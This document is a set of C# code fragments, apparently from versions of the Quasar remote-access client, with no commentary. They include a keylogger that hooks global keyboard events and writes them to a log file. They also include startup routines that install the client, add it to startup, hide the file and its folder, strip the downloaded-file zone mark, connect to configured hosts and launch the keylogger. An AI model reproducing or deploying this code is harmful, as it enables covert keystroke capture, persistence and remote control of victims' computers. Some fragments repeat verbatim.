/// <summary> /// Creates the keylogger instance that provides keylogging functionality and starts it. /// </summary> /// <param name="flushInterval">The interval to flush the buffer to the logfile.</param> public Keylogger(double flushInterval) { Instance = this; _lastWindowTitle = string.Empty; _logFileBuffer = new StringBuilder(); Subscribe(Hook.GlobalEvents()); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += timerFlush_Elapsed; _timerFlush.Start(); WriteFile(); }
/// <summary> /// Creates the keylogger instance that provides keylogging functionality and starts it. /// </summary> /// <param name="flushInterval">The interval to flush the buffer to the logfile.</param> public Keylogger(double flushInterval) { Instance = this; _lastWindowTitle = string.Empty; _logFileBuffer = new StringBuilder(); Subscribe(Hook.GlobalEvents()); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += timerFlush_Elapsed; _timerFlush.Start(); WriteFile(); }
private static void Initialize() { Thread.Sleep(2000); AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); GeoLocationHelper.Initialize(); if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; new Thread(SystemCore.UserIdleThread).Start(); if (Settings.STARTUP && Settings.INSTALL) { SystemCore.AddToStartup(); } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); ; } } else { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; SystemCore.Install(); } }
private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // process with same mutex is already running if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect return false; AES.SetDefaultKey(Settings.PASSWORD); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Startup.AddToStartup()) ClientData.AddToStartupFailed = true; } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.INSTALL && Settings.HIDEINSTALLSUBFOLDER && !string.IsNullOrEmpty(Settings.SUBFOLDER)) { try { DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); di.Attributes |= FileAttributes.Hidden; } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) {IsBackground = true}.Start(); } ConnectClient = new QuasarClient(hosts); return true; } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); return false; } }
private static void Initialize() { if (!MutexHelper.CreateMutex(Settings.MUTEX)) ClientData.Disconnect = true; // process with same mutex is already running if (ClientData.Disconnect) return; AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); if (_hosts.IsEmpty) ClientData.Disconnect = true; // no hosts to connect if (ClientData.Disconnect) return; FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP && Settings.INSTALL) { if (!Startup.AddToStartup()) ClientData.AddToStartupFailed = true; } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); } } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); } }